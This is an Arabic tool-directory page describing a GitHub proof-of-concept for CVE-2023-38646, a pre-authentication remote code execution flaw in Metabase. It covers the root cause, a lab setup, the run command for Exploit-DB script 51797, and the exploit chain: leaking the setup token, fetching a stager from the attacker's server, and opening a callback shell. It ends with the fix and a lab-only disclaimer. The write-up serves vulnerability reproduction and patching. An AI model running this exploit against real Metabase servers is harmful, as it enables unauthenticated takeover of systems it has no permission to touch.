Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
metabase-cve-2023-38646 — يحتوي المستودع على PoC وخطوات إعادة إنتاج الثغرة cve 2023-38646 | Kitploit
أدوات/GitHubGitHub/kushiro45/metabase-cve-2023-38646
تحليل الثغرات الأمنيةالاستغلالاستغلال تطبيقات الويباختبار الاختراقالفريق الأحمرتطوير الحمولات
GitHubkushiro45/metabase-cve-2023-38646

metabase-cve-2023-38646

يحتوي المستودع على PoC وخطوات إعادة إنتاج الثغرة cve 2023-38646

عرض المستودع
5منذ شهر واحدلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

cd ~/metabase-poc cat > README.md << 'EOF'

CVE-2023-38646 — تنفيذ التعليمات البرمجية عن بُعد قبل المصادقة في Metabase

الملخص

درجة الخطورة CVSS 9.8. تُعرّض إصدارات Metabase الأقدم من 0.46.6.1 / 1.46.6.1 (والفروع الأقدم المكافئة) ثغرة RCE قبل المصادقة عبر نقطة النهاية /api/setup/validate، التي صُممت للتحقق من تفاصيل اتصال قاعدة البيانات أثناء الإعداد الأولي، لكن يمكن الوصول إليها دون مصادقة حتى بعد اكتمال الإعداد بالفعل.

السبب الجذري

تقبل نقطة النهاية حمولة اتصال بقاعدة البيانات، وعند تحديد engine: h2 مع سلسلة اتصال JDBC مصنوعة بعناية، تسمح بتضمين كود JavaScript تعسفي عبر صيغة CREATE TRIGGER ... AS $$//javascript الخاصة بـ H2. يُنفَّذ جسم المُشغِّل وقت التحقق، مما يمنح المهاجم تنفيذ JavaScript داخل JVM — وهو ما يتصاعد بسهولة إلى تنفيذ أوامر نظام التشغيل عبر java.lang.Runtime.getRuntime().exec().

المشكلة الأساسية هي أن محرك قاعدة بيانات H2 يثق بالكود المضمّن في سلسلة الاتصال كجزء من «التحقق» من مصدر البيانات، بالإضافة إلى كشف Metabase لمسار التحقق هذا قبل المصادقة.

البيئة

  • الهدف: صورة Docker الرسمية metabase/metabase:v0.46.6
  • أدوات المهاجم: Python 3 وrequests وtermcolor
  • مصدر الـ PoC: Exploit-DB 51797 (Musyoka Ian, CVE-2023-38646)

الإعداد

شغّل نسخة Metabase القابلة للاستغلال:

root@kitploit:~
docker run -d -p 3000:3000 --name metabase metabase/metabase:v0.46.6
docker logs -f metabase   # wait for "Metabase Initialization COMPLETE"

ثبّت تبعيات الاستغلال:

root@kitploit:~
pip3 install requests termcolor

سلسلة الاستغلال

  1. استرجاع توكن الإعداد — /api/session/properties يسرّب setup-token مصممًا لحراسة تدفق الإعداد الأولي لمرة واحدة، لكنه يظل صالحًا وقابلًا للاستخدام حتى بعد اكتمال الإعداد.
  2. اختبار قابلية الاستغلال — يشغّل المهاجم خادم HTTP محليًا؛ ويتسبب المُشغِّل المصنوع بعناية في جعل الهدف يرسل استدعاءً خارجيًا إليه، مما يؤكد تنفيذ JavaScript داخل محرك H2.
  3. تنفيذ الأوامر — يستخدم مُشغِّل مصنوع ثانٍ java.lang.Runtime.getRuntime().exec() لجلب سكربت bash مرحلي (stager) من خادم HTTP الخاص بالمهاجم وإعادة توجيه مخرجات الأوامر عبر مستمع TCP خام، مشفرة بـ base64.

التشغيل

root@kitploit:~
python3 51797.py -l <attacker_ip> -p 4444 -P 8000 -u http://localhost:3000
  • -l — عنوان IP لاستدعاء المهاجم (بوابة جسر Docker عندما يكون الهدف حاوية محلية، مثل 172.17.0.1)
  • -p — المنفذ الذي تعود عليه قناة البيانات العكسية
  • -P — منفذ خادم HTTP المحلي الذي يقدّم سكربت المرحلة
  • -u — عنوان Metabase الأساسي للهدف

بمجرد أن يؤكد الاستدعاء قبل المصادقة قابلية الاستغلال، يُفتح موجه تفاعلي metabase_shell >.

النتيجة

metabase_shell > whoami metabase metabase_shell > id uid=2000(metabase) gid=2000(metabase) groups=2000(metabase),2000(metabase)

تم تأكيد تنفيذ الأوامر بحساب خدمة metabase — قبل المصادقة، دون الحاجة إلى أي بيانات اعتماد. تنبع الخطورة من ثغرة RCE قابلة للوصول عبر الشبكة بدون أي مصادقة، وليس من مستوى صلاحيات القشرة الناتجة.

الإصلاح

تم إصلاحها في Metabase 0.46.6.1 / 1.46.6.1 والإصدارات الأحدث — تتطلب نقطة النهاية /api/setup/validate الآن أن يكون الإعداد غير مكتمل فعلًا، ويتم إبطال توكنات الإعداد بمجرد انتهاء الإعداد الأولي.

إخلاء مسؤولية

للاستخدام المخبري المعزول فقط. لا تشغّله ضد نسخ Metabase التي لا تملكها أو ليس لديك إذن صريح لاختبارها.

تنزيل الأداة